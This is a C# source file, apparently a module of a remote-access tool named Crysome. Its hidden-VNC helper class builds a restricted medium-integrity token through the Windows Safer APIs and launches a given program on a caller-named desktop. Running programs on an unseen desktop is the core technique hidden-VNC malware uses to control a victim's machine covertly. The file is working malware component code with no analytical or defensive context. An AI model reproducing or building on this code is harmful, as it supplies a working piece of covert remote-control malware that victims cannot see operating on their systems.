204 lines
5.3 KiB
C#
204 lines
5.3 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
|
|
namespace Crysome.Client.Hvnc;
|
|
|
|
internal static class HvncProcessHelper
|
|
{
|
|
private struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr hProcess;
|
|
|
|
public IntPtr hThread;
|
|
|
|
public int dwProcessId;
|
|
|
|
public int dwThreadId;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
private struct STARTUPINFO
|
|
{
|
|
public int cb;
|
|
|
|
public string lpReserved;
|
|
|
|
public string lpDesktop;
|
|
|
|
public string lpTitle;
|
|
|
|
public int dwX;
|
|
|
|
public int dwY;
|
|
|
|
public int dwXSize;
|
|
|
|
public int dwYSize;
|
|
|
|
public int dwXCountChars;
|
|
|
|
public int dwYCountChars;
|
|
|
|
public int dwFillAttribute;
|
|
|
|
public int dwFlags;
|
|
|
|
public short wShowWindow;
|
|
|
|
public short cbReserved2;
|
|
|
|
public IntPtr lpReserved2;
|
|
|
|
public IntPtr hStdInput;
|
|
|
|
public IntPtr hStdOutput;
|
|
|
|
public IntPtr hStdError;
|
|
}
|
|
|
|
private struct SID_AND_ATTRIBUTES
|
|
{
|
|
public IntPtr Sid;
|
|
|
|
public uint Attributes;
|
|
}
|
|
|
|
private struct TOKEN_MANDATORY_LABEL
|
|
{
|
|
public SID_AND_ATTRIBUTES Label;
|
|
}
|
|
|
|
private enum TOKEN_INFORMATION_CLASS
|
|
{
|
|
TokenIntegrityLevel = 25
|
|
}
|
|
|
|
public enum SaferLevel : uint
|
|
{
|
|
NormalUser = 0x20000u
|
|
}
|
|
|
|
public enum SaferScope : uint
|
|
{
|
|
User = 2u
|
|
}
|
|
|
|
[Flags]
|
|
public enum SaferOpenFlags : uint
|
|
{
|
|
Open = 1u
|
|
}
|
|
|
|
private const uint SE_GROUP_INTEGRITY = 32u;
|
|
|
|
public static bool RunAsRestrictedUser(string fileName, string desktopName)
|
|
{
|
|
if (string.IsNullOrWhiteSpace(fileName))
|
|
{
|
|
return false;
|
|
}
|
|
if (!GetRestrictedSessionUserToken(out var token))
|
|
{
|
|
return false;
|
|
}
|
|
try
|
|
{
|
|
STARTUPINFO lpStartupInfo = new STARTUPINFO
|
|
{
|
|
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
|
|
lpDesktop = desktopName
|
|
};
|
|
PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
stringBuilder.Append(fileName);
|
|
return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation);
|
|
}
|
|
finally
|
|
{
|
|
CloseHandle(token);
|
|
}
|
|
}
|
|
|
|
private static bool GetRestrictedSessionUserToken(out IntPtr token)
|
|
{
|
|
token = IntPtr.Zero;
|
|
if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero))
|
|
{
|
|
return false;
|
|
}
|
|
IntPtr OutAccessToken = IntPtr.Zero;
|
|
TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL
|
|
{
|
|
Label =
|
|
{
|
|
Sid = IntPtr.Zero
|
|
}
|
|
};
|
|
IntPtr intPtr = IntPtr.Zero;
|
|
try
|
|
{
|
|
if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero))
|
|
{
|
|
return false;
|
|
}
|
|
structure.Label.Attributes = 32u;
|
|
structure.Label.Sid = IntPtr.Zero;
|
|
if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid))
|
|
{
|
|
return false;
|
|
}
|
|
intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)));
|
|
Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false);
|
|
if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))))
|
|
{
|
|
return false;
|
|
}
|
|
token = OutAccessToken;
|
|
OutAccessToken = IntPtr.Zero;
|
|
}
|
|
finally
|
|
{
|
|
SaferCloseLevel(pLevelHandle);
|
|
if (structure.Label.Sid != IntPtr.Zero)
|
|
{
|
|
LocalFree(structure.Label.Sid);
|
|
}
|
|
if (intPtr != IntPtr.Zero)
|
|
{
|
|
Marshal.FreeHGlobal(intPtr);
|
|
}
|
|
if (OutAccessToken != IntPtr.Zero)
|
|
{
|
|
CloseHandle(OutAccessToken);
|
|
}
|
|
}
|
|
return true;
|
|
}
|
|
|
|
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
|
private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved);
|
|
|
|
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
|
private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved);
|
|
|
|
[DllImport("advapi32", SetLastError = true)]
|
|
private static extern bool SaferCloseLevel(IntPtr hLevelHandle);
|
|
|
|
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid);
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
private static extern bool CloseHandle(IntPtr hObject);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern IntPtr LocalFree(IntPtr hMem);
|
|
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
|
private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength);
|
|
|
|
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
|
}
|